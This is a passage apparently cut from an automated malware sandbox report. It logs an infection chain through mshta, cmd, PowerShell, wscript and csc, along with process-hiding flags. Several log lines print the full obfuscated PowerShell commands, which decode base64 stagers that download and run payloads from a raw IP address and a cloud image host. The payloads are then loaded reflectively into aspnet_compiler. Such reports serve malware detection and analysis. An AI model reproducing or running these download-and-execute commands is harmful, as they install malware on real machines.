aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Suspicious command line found
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\mshta.exeProcess created: "C:\Windows\system32\cmd.exe" "/C poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Suspicious powershell command line found
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelho
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshElL.Exe -ex bypaSs -nOp -w 1 -c DEviCECrEdEnTIALDePLOYMENT.ExE ; INvoKe-eXPrESSioN($(INVOKe-EXPressION('[syStEm.text.eNCodinG]'+[cHar]58+[ChAr]0x3A+'Utf8.GEtSTrInG([SYsteM.cOnvErT]'+[ChaR]58+[ChaR]0X3A+'froMbAsE64strinG('+[Char]34+'JHN2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFUmRFZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1ckxNT04uRExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExlU3ZOR3Z3YWtaLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcWJFcyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhLbWpGVFRlLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGcsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtVGtaVXFXVG53KTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkdUIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUVTUEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjI5Lzc3MC9zZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZXR0ZXIudElGIiwiJEVudjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3doYXRkb2luZ2ZvcmJlLnZiUyIsMCwwKTtTVEFSVC1TTGVlUCgzKTtpSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVxzZWVteWJlc3R0aGluZ3N3aGF0ZG9pbmdmb3JiZS52YlMi'+[cHAr]34+'))')))"Jump to behavior
                  Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $doctor = 'JGJlaSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRhbW9uaWVtaWEgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRxdWFscXVlciA9ICRhbW9uaWVtaWEuRG93bmxvYWREYXRhKCRiZWkpOyRhdGVycmFnZW0gPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVhbHF1ZXIpOyRsZWlyaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGFjYXBuYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGlucXVpZXR1ZGUgPSAkYXRlcnJhZ2VtLkluZGV4T2YoJGxlaXJpYSk7JHBlY3RhciA9ICRhdGVycmFnZW0uSW5kZXhPZigkYWNhcG5hKTskaW5xdWlldHVkZSAtZ2UgMCAtYW5kICRwZWN0YXIgLWd0ICRpbnF1aWV0dWRlOyRpbnF1aWV0dWRlICs9ICRsZWlyaWEuTGVuZ3RoOyRjb25kaWNlbnRlID0gJHBlY3RhciAtICRpbnF1aWV0dWRlOyRuaWNvbGF0byA9ICRhdGVycmFnZW0uU3Vic3RyaW5nKCRpbnF1aWV0dWRlLCAkY29uZGljZW50ZSk7JG1hZHJpbGhlaXJhID0gLWpvaW4gKCRuaWNvbGF0by5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkbmljb2xhdG8uTGVuZ3RoKV07JGNyZWR1bGlkYWRlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkbWFkcmlsaGVpcmEpOyRyZWRpemltYXIgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjcmVkdWxpZGFkZSk7JHJlYmVsbGFkb3IgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskcmViZWxsYWRvci5JbnZva2UoJG51bGwsIEAoJ3R4dC5BQ01BQy8wNzcvOTIuMzIxLjU0Mi4yNzEvLzpwdHRoJywgJyRyYXBhZG8nLCAnJHJhcGFkbycsICckcmFwYWRvJywgJ2FzcG5ldF9jb21waWxlcicsICckcmFwYWRvJywgJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJyRyYXBhZG8nLCckcmFwYWRvJywnJHJhcGFkbycsJzEnLCckcmFwYWRvJykpOw==';$theatrelho = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($doctor));Invoke-Expression $theatrelhoJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.cmdline"Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_028755D0 push ss; iretd 3_2_028755DA
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_02871E22 pushad ; iretd 3_2_02871E2A
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_02871CDB pushad ; iretd 3_2_02871D5A
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_02871D6B pushad ; iretd 3_2_02871D7A
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E41DF3 pushad ; iretd 8_2_04E41E02
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E41D63 pushad ; iretd 8_2_04E41DE2
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E41E33 pushad ; iretd 8_2_04E41E52
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_04E41E03 pushad ; iretd 8_2_04E41E12
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00416073 push ebx; iretd 12_2_00416083
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0040C800 push ss; retf 12_2_0040C801
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00401931 push ebp; iretd 12_2_00401937
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0041F183 pushfd ; retf 12_2_0041F1ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0041A9A7 push cs; retf 12_2_0041A9AD
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00408230 pushad ; retf 12_2_00408258
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00415B53 push ecx; retf 12_2_00415CA2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00403330 push eax; ret 12_2_00403332
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00411BB3 push esi; iretw 12_2_00411BBE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00411BB2 push esi; iretw 12_2_00411BBE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00415C19 push ecx; retf 12_2_00415CA2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00415F43 push esi; ret 12_2_00415F4E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00415F4F push ebx; iretd 12_2_00416083
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_00413F77 push esi; iretd 12_2_00413F82
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_004117F6 pushfd ; retf 12_2_004117FD
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B09AD push ecx; mov dword ptr [esp], ecx12_2_012B09B6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\3cxbggpe\3cxbggpe.dllJump to dropped file

                  Hooking and other Techniques for Hiding and Protection

                  barindex
                  Loading BitLocker PowerShell Module
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
